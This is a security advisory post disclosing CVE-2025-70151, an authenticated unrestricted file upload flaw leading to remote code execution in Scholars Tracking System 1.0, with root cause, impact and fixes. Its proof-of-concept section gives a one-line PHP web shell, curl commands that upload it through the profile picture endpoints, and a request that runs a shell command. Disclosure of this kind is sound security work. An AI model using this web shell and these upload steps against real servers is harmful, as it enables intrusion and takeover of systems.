Post

CVE-2025-70151 - Scholars Tracking System 1.0: Authenticated Unrestricted File Upload Leads to Remote Code Execution

Authenticated attackers can upload PHP files via profile picture endpoints and achieve Remote Code Execution in Scholars Tracking System 1.0 due to missing file type validation.

CVE-2025-70151 - Scholars Tracking System 1.0: Authenticated Unrestricted File Upload Leads to Remote Code Execution

Summary

FieldDetail
CVE IDCVE-2025-70151
ProductScholars Tracking System in PHP 1.0
Vendorcode-projects (author: Fabian Ros)
VulnerabilityUnrestricted File Upload → Remote Code Execution
Attack VectorRemote, Authenticated
CWECWE-434
DiscovererMinhKhoa
Date2025-12-27

1. Description

Scholars Tracking System in PHP 1.0 contains an Unrestricted File Upload vulnerability in the profile picture/photo upload functionality.

The application stores attacker-supplied filenames directly into a web-accessible directory (uploads/) without validating file extension/type. Because the server executes PHP scripts inside uploads/, an attacker can upload a .php file and then access it to achieve Remote Code Execution (RCE) as the web server user (e.g., www-data).

Affected endpoints:

  • /update_profile_picture.php
  • /upload_picture.php

2. Root Cause Analysis

The endpoints move the uploaded file to uploads/ using the original, user-supplied filename:

1
2
move_uploaded_file($_FILES["image"]["tmp_name"], "uploads/" . $_FILES["image"]["name"]);
$location = "uploads/" . $_FILES["image"]["name"];

There is no effective server-side validation to restrict uploads to safe image formats (extension/MIME/magic bytes), and the uploads/ directory is web-accessible and configured to execute PHP files.

CWE: CWE-434 (Unrestricted Upload of File with Dangerous Type)


3. Steps to Reproduce (PoC)

Replace TARGET with the base URL of the application.
If authentication is required, replace PHPSESSID=... with a valid session cookie.

3.1 Create a harmless PHP PoC file

Create poc.php:

1
<?php system($_GET['command']); ?>

3.2 Upload the PHP file via update_profile_picture.php

1
curl -i -s   -b "PHPSESSID=YOUR_VALID_SESSION"   -F "image=@poc.php;filename=poc.php"   "http://TARGET/update_profile_picture.php"

(Alternative) Upload via upload_picture.php:

1
curl -i -s   -b "PHPSESSID=YOUR_VALID_SESSION"   -F "image=@poc.php;filename=poc.php"   "http://TARGET/upload_picture.php"

3.3 Trigger code execution by requesting the uploaded file

1
curl -i "http://TARGET/uploads/poc.php?command=id"

Expected result: the server executes the uploaded PHP and returns output similar to:

1
uid=33(www-data) gid=33(www-data) groups=33(www-data)

alt text


4. Impact

Successful exploitation results in Remote Code Execution (RCE) on the web server as the web server user (e.g., www-data). This can lead to:

  • Full compromise of application data and database credentials (via configuration/source access)
  • Arbitrary file read/write within the web server permissions
  • Installation of persistent backdoors
  • Further lateral movement depending on environment and permissions

5. Recommendation / Fix

  1. Strict allowlist validation
    • Allow only safe image extensions (e.g., jpg, jpeg, png, gif, webp).
    • Verify MIME type server-side with finfo_file() and validate image headers/magic bytes.
  2. Do not use user-controlled filenames
    • Generate random filenames (UUID) and store uploads with the generated name only.
  3. Disable script execution in upload directories (defense-in-depth)
    • Configure the web server to prevent PHP execution in uploads/ (Apache/Nginx rules).
  4. Store uploads outside the web root
    • Serve uploaded content via a controlled download endpoint.

6. References

  • CWE-434: Unrestricted Upload of File with Dangerous Type
  • OWASP: Unrestricted File Upload
This post is licensed under CC BY 4.0 by the author.